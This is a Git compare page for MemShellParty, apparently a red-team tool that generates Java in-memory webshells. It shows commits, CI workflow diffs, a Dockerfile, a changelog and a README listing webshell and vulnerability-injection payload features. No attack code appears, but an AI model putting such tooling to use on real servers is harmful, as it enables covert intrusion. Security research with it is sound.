Compare commits

...
126 Commits
Author SHA1 Message Date
ReaJason f544563315 ci: release ci syntax error 2025-08-14 00:13:11 +08:00
ReaJason ebd97529ad chore: 2.0.0 2025-08-14 00:08:14 +08:00
ReaJason 82f46deb76 ci: ignore examples folder for test ci 2025-08-14 00:05:32 +08:00
ReaJason 6896426811 test: add some docker-compose.yaml 2025-08-14 00:03:20 +08:00
ReaJason e006814e96 docs: update CHANGELOG 2025-08-13 23:53:40 +08:00
ReaJason 6be89d2448 feat: support 2.0.0 examples 2025-08-13 23:53:40 +08:00
ReaJason db40ac86d8 ci: support RedQueen docker tag build 2025-08-13 23:53:40 +08:00
ReaJason 6a475983db fix: add generate exception global handler 2025-08-13 23:53:40 +08:00
ReaJason 5aae3c4dbe feat: add about page 2025-08-13 23:53:40 +08:00
ReaJason 3f5a2ddb6b feat: support i18n namespace 2025-08-13 23:53:40 +08:00
ReaJason a5f6411444 style(web): format code 2025-08-13 23:53:40 +08:00
ReaJason ede8a649bc docs: update README 2025-08-13 23:53:40 +08:00
ReaJason ff49fe1f0c fix: rm landing page 2025-08-13 23:53:40 +08:00
ReaJason 29150c56c9 test: add sleep server test case 2025-08-13 23:53:40 +08:00
ReaJason a1f3bd5b6c test: add k6 test js 2025-08-13 23:53:40 +08:00
ReaJason d4efc69643 fix: add newInstance for AviatorPacker 2025-08-13 23:53:40 +08:00
ReaJason 7e3e97d79a refactor: rm static block for better life 2025-08-13 23:53:40 +08:00
ReaJason 7c9d330909 test: retry for tomcat test cases 2025-08-13 23:53:40 +08:00
ReaJason 1c320d7de6 build: speedup module build by using build-logic 2025-08-13 23:53:40 +08:00
ReaJason a330f6fe29 build: vul-webapp failed with junit5 2025-08-13 23:53:40 +08:00
ReaJason f9dce4f84b refactor: rename
1. 将枚举 Server 改为字符串常量,使得 memshell 和 probeshell 都能共用
2. 移除 memshell 模块直接内置在 generator 中
3. 通用类从 memshell 移动至 javaweb 下,命名修改,增加辨识度
2025-08-13 23:53:40 +08:00
ReaJason d4bde3baad fix: web page broken 2025-08-13 23:53:40 +08:00
ReaJason 99b40a945f test: images use specific version 2025-08-13 23:53:40 +08:00
ReaJason 31e1e26488 fix: windows attach res not found 2025-08-13 23:53:40 +08:00
ReaJason 4a3bc0c40a feat: support probe shell generation 2025-08-13 23:53:40 +08:00
ReaJason 3102f10d7b docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 4ea5ef68f9 ci: test docker build only on master 2025-08-13 23:53:40 +08:00
ReaJason 8bff3b24c7 feat: support XMLDecoderDefineClass packer 2025-08-13 23:53:40 +08:00
ReaJason 6361e4d50b docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 5fb85f9ff1 feat: support XMLDecoder packer 2025-08-13 23:53:40 +08:00
ReaJason 73c05bc6c6 feat: support OGNL SpringUtils packers 2025-08-13 23:53:40 +08:00
ReaJason 5f153a9052 refactor: simplify server options 2025-08-13 23:53:40 +08:00
ReaJason 37d3086ca5 fix: className is illegal 2025-08-13 23:53:40 +08:00
ReaJason a4bdde14dd fix: error msg not correct 2025-08-13 23:53:40 +08:00
ReaJason c451e42188 docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 1a8443b08c chore: upgrade docker image version 2025-08-13 23:53:40 +08:00
ReaJason d37089f063 chore: upgrade deps 2025-08-13 23:53:40 +08:00
ReaJason 55fc9f8cc0 fix: skip no static resource exception 2025-08-13 23:53:40 +08:00
ReaJason 28868f5769 style: rm console.log 2025-08-13 23:53:40 +08:00
ReaJason c5b753abe5 fix: SpringWebMVC Agent generate button not work 2025-08-13 23:53:40 +08:00
ReaJason e556cfa80a refactor: rename i18 json key 2025-08-13 23:53:40 +08:00
ReaJason 67f21b0abf chore: upgrade deps 2025-08-13 23:53:40 +08:00
ReaJason 466d236ba2 test: pid fetch failed 2025-08-13 23:53:40 +08:00
ReaJason 78cbc3bb6c refactor: simplify payload 2025-08-13 23:53:40 +08:00
ReaJason 9fe2630c36 feat: support H2 packer 2025-08-13 23:53:40 +08:00
ReaJason f09ae066bd fix: /osgi context not webContext 2025-08-13 23:53:40 +08:00
ReaJason b2520eebac fix: InforSuite Agent not work 2025-08-13 23:53:40 +08:00
ReaJason 65e23040ae fix: TongWeb8 context fetch error 2025-08-13 23:53:40 +08:00
ReaJason 22123cec7e test: use recommended logback configuration 2025-08-13 23:53:40 +08:00
ReaJason 7f7e48233b build: rm useless package 2025-08-13 23:53:40 +08:00
ReaJason 58341b4f7c refactor: add packer module 2025-08-13 23:53:40 +08:00
ReaJason ba04db93be build: rm memshell-party-bom module 2025-08-13 23:53:40 +08:00
ReaJason 57a653235b perf: reduce js size 2025-08-13 23:53:40 +08:00
ReaJason 5b2a47e499 chore: version 2.0.0-SNAPSHOT 2025-08-13 23:53:40 +08:00
ReaJason 95617a787b docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 83fe7cad8c feat: add more page 2025-08-13 23:53:40 +08:00
ReaJason afa8f9dd06 feat: support Apusic V10 2025-08-13 23:53:40 +08:00
ReaJason b6fca022f9 refactor: simplify Tomcat AgentInjector 2025-08-13 23:53:40 +08:00
ReaJason 9fa01834e7 chore: 1.10.0 2025-06-07 14:35:53 +08:00
ReaJason 85b7750ab8 docs: add WriteCustomShell.md 2025-06-07 14:35:29 +08:00
ReaJason 9c5dc1fa9d docs: update README 2025-06-07 14:35:13 +08:00
ReaJason a833e3acdd docs: update CHANGELOG 2025-06-07 14:33:57 +08:00
ReaJason b12a8530f2 build: use Kotlin DSL 2025-06-07 13:31:18 +08:00
ReaJason 74701926b6 chore: upgrade Gradle 8.14.2 2025-06-07 13:31:18 +08:00
ReaJason a371c6adb6 chore: upgrade dep 2025-06-07 13:31:18 +08:00
ReaJason cd9c9ef162 fix(ui): copy button position on mobile 2025-06-07 13:31:18 +08:00
ReaJason d4ff5fdf65 fix(ui): input placeholder font-size on mobile 2025-06-07 13:31:18 +08:00
ReaJason 1dc27116f1 refactor: combine normal and bypass JSP template 2025-06-07 13:31:18 +08:00
ReaJason f43218b5e1 feat: support JBossAS ProxyValve shell 2025-06-07 13:31:18 +08:00
ReaJason 04bbddee6b feat: support Tomcat ProxyValve shell 2025-06-07 13:31:18 +08:00
ReaJason 59cf8674f1 fix: TongWeb8 Valve not work 2025-06-07 13:31:18 +08:00
ReaJason 9572b90cef refactor: merge JBossAS and GlassFish 2025-06-07 13:31:18 +08:00
ReaJason 96044dc231 fix: Glassfish3 classNotFound 2025-06-07 13:31:18 +08:00
ReaJason bae97ec554 refactor: simplify base64 and getFieldValue method 2025-06-07 13:31:18 +08:00
ReaJason b6ba3c632a test: add servlet for Tomcat8 2025-06-07 13:31:18 +08:00
ReaJason 453ef58b15 refactor: catch Throwable 2025-06-07 13:31:18 +08:00
ReaJason a37e32deb2 refactor: move method order 2025-06-07 13:31:18 +08:00
ReaJason faee94d77e refactor: use TypeDescription 2025-06-07 13:31:18 +08:00
ReaJason b0e2e218f0 ci: deploy when boot or web update 2025-06-07 13:31:18 +08:00
ReaJason 6fee88d761 feat: use new theme 2025-06-07 13:31:18 +08:00
ReaJason d6613f770a chore: 1.10.0-SNAPSHOT 2025-06-07 13:31:18 +08:00
ReaJason 5627604ba9 refactor: merge memshell module 2025-06-07 13:31:18 +08:00
ReaJason c1e0fbbc18 refactor: rename packageName 2025-06-07 13:31:18 +08:00
ReaJason 74079d81ed test: unit test failed 2025-06-07 13:31:18 +08:00
ReaJason 9792f242ce test: add Apusic pid sh 2025-06-07 13:31:18 +08:00
ReaJason 3ae57d6b67 refactor: simplify generateBytes code 2025-06-07 13:31:18 +08:00
ReaJason 69f554ae4e feat: support defineClass JSP packers 2025-06-07 13:31:18 +08:00
ReaJason 8565dd9c52 test: add --debug for suo5 2025-06-07 13:31:18 +08:00
ReaJason 021e0a3e9d refactor: build valve and listener shell when generate 2025-06-07 13:31:18 +08:00
ReaJason dc958d49df fix: Godzilla not work on latest version 2025-06-07 13:31:18 +08:00
ReaJason 5f83b52bc0 docs: add Tomcat context comment 2025-06-07 13:31:18 +08:00
ReaJason 59bcd6aecf docs: update screenshots 2025-05-28 22:33:49 +08:00
ReaJason d1a2912428 chore: 1.9.0 2025-05-28 01:22:54 +08:00
ReaJason 006cce6a74 docs: update CHANGELOG 2025-05-28 01:22:54 +08:00
ReaJason 8d240f2a50 feat: compact mode 2025-05-28 01:22:54 +08:00
ReaJason 9d03c04dfa fix: disconnected 2025-05-28 01:22:54 +08:00
ReaJason 8e4dd5ab6a style: lint 2025-05-28 01:22:54 +08:00
ReaJason 8ae71c5b6b chore: upgrade dep 2025-05-28 01:22:54 +08:00
ReaJason 566286a8fa refactor: simplify shell generator 2025-05-28 01:22:54 +08:00
ReaJason 9692ab6e7b fix: Jakarta WebSocket not work 2025-05-28 01:22:54 +08:00
ReaJason c75cb2f8ef refactor: use yup custom validator 2025-05-28 01:22:54 +08:00
ReaJason e31fcdeca9 refactor: simplify component 2025-05-28 01:22:54 +08:00
ReaJason f734e3c391 feat: use unsafe by reflection 2025-05-28 01:22:54 +08:00
ReaJason 8558487b6c refactor: optimize imports 2025-05-28 01:22:54 +08:00
ReaJason c5ad3e81cb feat: support TongWeb8 2025-05-28 01:22:54 +08:00
ReaJason 18c0920c27 feat: show urlPattern option when needed 2025-05-28 01:22:54 +08:00
ReaJason ddfa273938 fix(ui): show one column in phone 2025-05-28 01:22:54 +08:00
ReaJason 4a1359a736 feat: shrink by default 2025-05-28 01:22:54 +08:00
ReaJason d197691bed feat: support custom command implementation 2025-05-28 01:22:54 +08:00
ReaJason f7e401bd46 test: add cases 2025-05-28 01:22:54 +08:00
ReaJason cd10fe9a2c style: lint 2025-05-28 01:22:54 +08:00
ReaJason 21acf71af6 build: upgrade boot 2025-05-28 01:22:54 +08:00
ReaJason bb8e4c7a7e feat: add diff tips for attacher 2025-05-28 01:22:54 +08:00
ReaJason 627ecf6465 test: add JRE and JDK Attacher test cases 2025-05-28 01:22:54 +08:00
ReaJason 0658f103cc feat: shrink agentJar by default 2025-05-28 01:22:54 +08:00
ReaJason b134b5a5a7 build: Gradle 8.14.1 2025-05-28 01:22:54 +08:00
ReaJason cc6bed07a1 docs: update README 2025-05-28 01:22:54 +08:00
ReaJason 5d5f866744 fix: Apusic Listener not work 2025-05-28 01:22:54 +08:00
ReaJason cf82dd9470 chore: upgrade example dep version 2025-05-28 01:22:54 +08:00
ReaJason b06a39d1b8 chore: upgrade dep 2025-05-28 01:22:54 +08:00
ReaJason 19faf77d5c feat: support AgentAttacher Packer 2025-05-28 01:22:54 +08:00
ReaJason a3704eb7b7 feat: use ASM Agent by default 2025-05-28 01:22:54 +08:00
ReaJason eeed6e45c7 fix: support AES_BASE64 GodzillaWebSocket by default 2025-05-28 01:22:54 +08:00
ReaJason 3c1c1cb8fc feat: support webAppClassLoader 2025-05-28 01:22:54 +08:00
ReaJason 26d72cb909 refactor: remove unused code 2025-05-28 01:22:54 +08:00
ReaJason 70c128ced1 docs: update CHANGELOG 2025-05-14 01:29:12 +08:00
884 changed files with 85125 additions and 18284 deletions
-2
View File
@@ -6,8 +6,6 @@ on:
- dev - dev
paths-ignore: paths-ignore:
- 'docs/**' - 'docs/**'
- 'boot/**'
- 'web/**'
- '**.md' - '**.md'
- '**/*.png' - '**/*.png'
+12
View File
@@ -109,6 +109,18 @@ jobs:
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }} ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
ghcr.io/reajason/memshell-party:latest ghcr.io/reajason/memshell-party:latest
- name: Build and push RedQueen
uses: docker/build-push-action@v6
with:
context: boot
platforms: linux/amd64,linux/arm64
build-args: |
ROUTE_ROOT_PATH=/redqueen-memshell-party
CONTEXT_PATH=/redqueen-memshell-party
push: true
tags: |
docker.io/reajason/memshell-party:redqueen
deploy-maven: deploy-maven:
name: Deploy to Maven Central name: Deploy to Maven Central
runs-on: ubuntu-latest runs-on: ubuntu-latest
+59 -4
View File
@@ -7,6 +7,7 @@ on:
paths-ignore: paths-ignore:
- 'docs/**' - 'docs/**'
- 'boot/**' - 'boot/**'
- 'examples/**'
- 'web/**' - 'web/**'
- '**.md' - '**.md'
- '**/*.png' - '**/*.png'
@@ -40,6 +41,7 @@ jobs:
docker-build-test: docker-build-test:
runs-on: ubuntu-latest runs-on: ubuntu-latest
if: github.ref == 'refs/heads/master'
steps: steps:
- name: Checkout code - name: Checkout code
uses: actions/checkout@v4 uses: actions/checkout@v4
@@ -60,7 +62,7 @@ jobs:
exit 1 exit 1
fi fi
integration-test: memshell-integration-test:
strategy: strategy:
fail-fast: false fail-fast: false
matrix: matrix:
@@ -87,7 +89,7 @@ jobs:
depend_tasks: ":vul:vul-webapp:war" depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic" - middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war" depend_tasks: ":vul:vul-webapp:war"
- middleware: "springmvc" - middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar" depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "springwebflux" - middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar" depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
@@ -113,7 +115,60 @@ jobs:
run: ./gradlew ${{ matrix.cases.depend_tasks }} run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle - name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '*.${{ matrix.cases.middleware }}.*' --info run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
- name: Export Integration Test Summary - name: Export Integration Test Summary
run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
detection-integration-test:
strategy:
fail-fast: false
matrix:
cases:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
runs-on: ubuntu-latest
name: ${{ matrix.cases.middleware }}
needs: [ unit-test ]
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
+96 -1
View File
@@ -5,6 +5,101 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [v2.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.10.0) - 2025-08-13
> [!WARNING]
> 为了区分内存马和探测马,部分类名和接口做了调整,如果使用了
> SDK,需要参考:[examples/memshell-party-maven-example](https://github.com/ReaJason/MemShellParty/tree/master/examples/memshell-party-maven-example)
> 进行调整。
### Added
- **支持探测马生成** (#71 by @ReaJason,部分代码参考 jeg 与 java-chains)
- Web 添加关于页面
- 支持 H2 JDBC 打包方式(DataEase 漏洞注入)
- 支持 XMLDecoder 打包方式(WebLogic 漏洞注入)
- 支持 OGNL SpringUtils 打包方式(Confluence 漏洞注入)
### Fixed
- 修复 SpringWebMVC Agent 无法点击生成按钮 (#77)
- 修复 Spring Boot 对于 no static resource 老是抛出错误日志
- 修复 TongWeb8 context 获取错误导致注入失败的问题
### Changed
- **简化 Server 类型选择,例如 JBossEAP7 和 WildFly 选择 Undertow** (by @zema1 #74)
- **去除注入器中静态代码块调用构造方法,减少注入动作的触发**(可能会导致部分 `Class.forName("name", true, loader)`
的场景注入失败,后续会添加字节码 Web 工具进行这块的处理)
- 简化 Tomcat AgentInjector 的代码
- 前端 module 分包减少单个 js 体积,加快首次加载速度
- 移除 memshell-party-bom 模块,改用
gradle/libs.versions.toml,参考:[Use Version Catalogs to Centralize Dependency Versions](https://docs.gradle.org/current/userguide/best_practices_dependencies.html#use_version_catalogs)
- 使用 build-logic 替代
buildSrc,加快构建速度,参考:[Favor build-logic Composite Builds for Build Logic](https://docs.gradle.org/current/userguide/best_practices_general.html#favor_composite_builds)
- 从 generator 模块中分离 payload 生成代码并合并 deserialize 模块为 packer 模块
- 使用 i18 扁平化 key,并使用 namespace 区分 MemShell 和 ProbeShell
的字段,参考:[RSSNext/Folo/zh-CN.json](https://github.com/RSSNext/Folo/blob/dev/locales/common/zh-CN.json)
- 升级 gradle-maven-publish-plugin 插件版本,简化打包指令
- 统一生成内存马类过程中抛出异常为 GenerationException,并单独设置 GlobalExceptionHandler
**Full Changelog:** [v1.10.0...v2.0.0](https://github.com/ReaJason/MemShellParty/compare/v1.10.0...v2.0.0)
## [v1.10.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.10.0) - 2025-06-07
### Added
- 添加新的 JSP 打包方式(直接使用 defineClass 进行注入)(by @zema1 #67)
- 支持 Tomcat 和 JBossAS ProxyValve 内存马(通过动态代理将 StandardPipeline 的第一个 valve 进行包装注入自定义逻辑)
### Fixed
- 修复哥斯拉无法使用最新版连接
- 修复 TongWeb8 Valve 未适配
- 修复移动端 UI 输入框 placeholder 字体过大
- 修复移动端 UI 类名复制按钮超出卡片范围
### Changed
- 修改 Valve 和 Listener 字节码修改时机,改为生成时再进行修改,方便自定义内存马生成
- 合并 memshell 与 memshell-jdk8 模块,方便维护
- UI 使用新的 shadcn/ui 提供的 Zinc 主题配置
- 将所有 Shell 捕获异常从 Exception 改为 Throwable
- 简化 Shell base64 方法代码
- Gradle 更新至 8.14.2
- 参考 [General Gradle Best Practices](https://docs.gradle.org/current/userguide/best_practices_general.html),将构建脚本改为
Kotlin DSL
**Full Changelog:** [v1.9.0...v1.10.0](https://github.com/ReaJason/MemShellParty/compare/v1.9.0...v1.10.0)
## [v1.9.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.9.0) - 2025-05-28
### Added
- 支持 TongWeb8 内存马生成 by @ReaJason
- 通过 context 获取 webAppClassLoader,不再依赖 Thread.currentThread().getContextClassLoader()
为请求线程,参考:[任意类加载环境下注入内存马](https://reajason.eu.org/writing/whichclassloaderforshell/)
- 全面支持使用 ASM 生成 Agent(仅需 92.5 KB),并且可选 JDKAttacher 与 JREAttacher
- 支持命令执行自定义实现类,RuntimeExec or ForkAndExec
### Fixed
- 修复 Apusic Listener 由于 response 获取错误导致不可用
- 修复 Jakarta WebSocket 无法注入
### Changed
- Godzilla WebSocket 默认使用 AES_BASE64 加密器,支持使用 [GzWebsocket](https://github.com/xsshim/GzWebsocket) 插件进行连接。
- Gradle、Web 项目依赖更新
- UI 生成界面默认勾选缩小字节码
- UI 优化手机端选项布局,单行显示每个输入框
- UI 使用紧凑模式,隐藏非常用字段简化操作路径
- 提取公共 Tailwind CSS 类名,简化表单组件代码
- yup 替代 zod 减少打包体积,并将自定义表单验证融合到 react-hook-form 中优化 UX
- 重构 Shell Generator 代码
**Full Changelog:** [v1.8.0...v1.9.0](https://github.com/ReaJason/MemShellParty/compare/v1.8.0...v1.9.0)
## [v1.8.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.8.0) - 2025-05-14 ## [v1.8.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.8.0) - 2025-05-14
### Added ### Added
@@ -25,7 +120,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
- 获取所有线程代码改为 `Thread.getAllStackTraces().keySet()`,高版本 JDK 不再需要 bypass module - 获取所有线程代码改为 `Thread.getAllStackTraces().keySet()`,高版本 JDK 不再需要 bypass module
- 优化 boot 在启动时即触发 Server 的内存马生成注册,加速第一次请求访问 - 优化 boot 在启动时即触发 Server 的内存马生成注册,加速第一次请求访问
**Full Changelog:** [v1.7.0...v1.8.0](https://github.com/ReaJason/MemShellParty/compare/v1.6.0...v1.7.0) **Full Changelog:** [v1.7.0...v1.8.0](https://github.com/ReaJason/MemShellParty/compare/v1.7.0...v1.8.0)
## [v1.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.7.0) - 2025-04-06 ## [v1.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.7.0) - 2025-04-06
+23 -12
View File
@@ -1,19 +1,27 @@
## Contribute
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
> It will be so nice if you want to contribute. 🎉
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
### 目录结构 ### 目录结构
- bom: 依赖版本管理,不用写到处写版本号就是舒服
- boot:使用 SpringBoot 为 UI 提供生成服务 - boot:使用 SpringBoot 为 UI 提供生成服务
- commonbytebuddy 等工具类存放 - memshell-party-commonbytebuddy/asm 等工具类存放
- generator:内存马生成核心 - generator:内存马生成核心
- deserialize:反序列化相关 gadget - packer:常见漏洞 payload 生成
- integration-test:集成测试用例 - integration-test:集成测试用例
- memshell:内存功能类以及注入器(为保证兼容性够高,所以单独弄出来) - memshell:内存功能类以及注入器
- memshell-java8Spring 相关的存在 lambda 表达式所以单独弄出来 - memshell-agentAgent 内存马 playground,可参考 asm/javassist/bytebuddy 编写 Agent 内存马
- tools/behinder:冰蝎简易连接器 - tools/*:内存马简易连接器,用于测试内存马注入之后是否可用
- tools/godzilla:哥斯拉简易连接器
- tools/suo5Suo5 简易连接器
- web:使用 react 开发的 Web UI - web:使用 react 开发的 Web UI
- vul/vul-webapp:简易的 javax.servlet 靶场 - vul/vul-webapp:简易的 javax.servlet 靶场
- vul/vul-webapp-expression:简易的表达式注入、SSTI 注入相关靶场 - vul/vul-webapp-expression:简易的表达式注入、SSTI 注入相关靶场
- vul/vul-webapp-deserialize:简易的反序列化相关靶场
- vul/vul-webapp-jakarta:简易的 jakarta.servlet 靶场 - vul/vul-webapp-jakarta:简易的 jakarta.servlet 靶场
- vul/springboot*: springboot 相关靶场 - vul/springboot*: springboot 相关靶场
@@ -28,12 +36,15 @@
# 运行集成测试用例,谨慎运行,用例太多了 # 运行集成测试用例,谨慎运行,用例太多了
./gradlew :integration-test:test --info ./gradlew :integration-test:test --info
# 仅运行 tomcat 下的集成测试用例 # 仅运行 tomcat 下的集成测试用例(需要先构建靶场)
./gradlew :vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war
./gradlew :integration-test:test --tests '*.tomcat.*' ./gradlew :integration-test:test --tests '*.tomcat.*'
# 仅运行 jetty 下的集成测试用例
# 仅运行 jetty 下的集成测试用例(需要先构建靶场)
./gradlew :vul:vul-webapp:war :vul:vul-webapp-jakarta:war
./gradlew :integration-test:test --tests '*.jetty.*' ./gradlew :integration-test:test --tests '*.jetty.*'
# 构建 war 包 # 构建靶场 war 包
./gradlew :vul:vul-webapp:war ./gradlew :vul:vul-webapp:war
./gradlew :vul:vul-webapp-jakarta:war ./gradlew :vul:vul-webapp-jakarta:war
./gradlew :vul:vul-webapp-expression:war ./gradlew :vul:vul-webapp-expression:war
@@ -57,7 +68,7 @@ UI 采用的 React SPA + SpringBoot,构建时需要先将 React 前端项目
### Contribute Code ### Contribute Code
> 参考 GitHub Docs https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project > 参考 GitHub Docshttps://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
1. fork 当前项目 1. fork 当前项目
2. git clone 自己 fork 后的项目 2. git clone 自己 fork 后的项目
+5 -11
View File
@@ -1,15 +1,12 @@
FROM buildpack-deps:bullseye-scm AS source FROM buildpack-deps:bullseye-scm AS source
ARG VERSION="1.0.0"
ENV VERSION=${VERSION}
WORKDIR /usr/src WORKDIR /usr/src
RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
rm -rf vul integration-test tools rm -rf vul integration-test tools
# https://hub.docker.com/r/oven/bun # https://hub.docker.com/r/oven/bun
FROM oven/bun:1.2.9 AS frontend FROM oven/bun:1.2.19 AS frontend
ARG ROUTE_ROOT_PATH="/" ARG ROUTE_ROOT_PATH="/"
ARG CONTEXT_PATH="" ARG CONTEXT_PATH=""
@@ -27,11 +24,8 @@ COPY --from=source /usr/src/web /usr/src/web
RUN bun run build RUN bun run build
# https://hub.docker.com/_/eclipse-temurin # https://hub.docker.com/_/eclipse-temurin/tags?name=17.
FROM eclipse-temurin:17.0.14_7-jdk-noble AS backend FROM eclipse-temurin:17.0.15_6-jdk-noble AS backend
ARG VERSION="1.0.0"
ENV VERSION=${VERSION}
WORKDIR /usr/src WORKDIR /usr/src
@@ -39,9 +33,9 @@ COPY --from=source /usr/src /usr/src
COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/resources COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/resources
RUN ./gradlew -Pversion=${VERSION} :boot:bootjar -x test RUN ./gradlew :boot:bootjar -x test
FROM eclipse-temurin:17.0.14_7-jre-noble FROM eclipse-temurin:17.0.15_6-jre-noble
LABEL authors="ReaJason<[email protected]>" LABEL authors="ReaJason<[email protected]>"
+30 -295
View File
@@ -25,18 +25,9 @@
> [!TIP] > [!TIP]
> 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG > 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG
> 交流群,欢迎一起学习交流 > 交流群,欢迎一起学习交流
MemShellParty 是一款可本地部署的一键生成常见中间件框架内存马的可视化平台,并且致力于打造内存马的全方位的学习平台 MemShellParty 是一款专注于主流 Web 中间件内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率
在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了。
希望你能从这个项目学会或尝试做的:
1. 学会编写常见中间件框架的内存马。
2. 学会使用 [Testcontainers](https://testcontainers.com/) 做 Java 应用的集成测试。
3. 学会使用 GitHub Actions 编写 CI/CD,编写 CHANGELOG 并通过 CI 自动发布 Release。
4. 尝试使用 [Byte Buddy](https://bytebuddy.net/) 生成类,编写 Agent。
5. 尝试使用 Gradle 构建 Java 项目(platform 编写依赖版本管理,toolchain 可以在根项目设置 JDK17 环境下也能完成 JDK6 源代码的编译)
![normal_generator](asserts/normal_generator.png) ![normal_generator](asserts/normal_generator.png)
@@ -44,18 +35,33 @@ MemShellParty 是一款可本地部署的一键生成常见中间件框架内存
## 主要特性 ## 主要特性
- 无侵入性:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。 - **无侵入性**:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
- 高可用性:自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml) - **强兼容性**:覆盖攻防场景下常见中间件和框架,以及 JDK 适配 JDK6 ~ JDK21。
- 最小化:尽可能精简内存马大小,高效传输 - **高可用性**:对所有支持的中间件框架建立了全面的自动化测试矩阵,确保每一次生成的载荷都具备最高的可用性和稳定性,杜绝实战中的不确定性
- 强兼容性:覆盖攻防场景下常见中间件和框架。 - **极致轻量化**:通过深度优化的字节码生成策略,MemShellParty 将内存马体积相较于 JMG 等传统工具进行了大幅缩小,常规内存马缩小了
**30%**,Agent 内存马采用 ASM 技术缩小了 **80%**
- **傻瓜一键化**:内置针对主流表达式注入、反序列化、SSTI 等常见漏洞的载荷生成。系统会自动根据绕过 Java
模块限制配置,动态生成最优攻击载荷。可实现常规漏洞载荷一键生成。
- **高灵活性**:原生支持哥斯拉、冰蝎、蚁剑、Suo5、NeoreGeorg 等常用内存马功能,通过高度灵活的自定义内存马上传功能,可以将任何定制化载荷融入
MemShellParty 的生成体系,打造最贴合自身战术需求的攻击平台。
## 快速使用 ## 快速使用
### 使用前必看
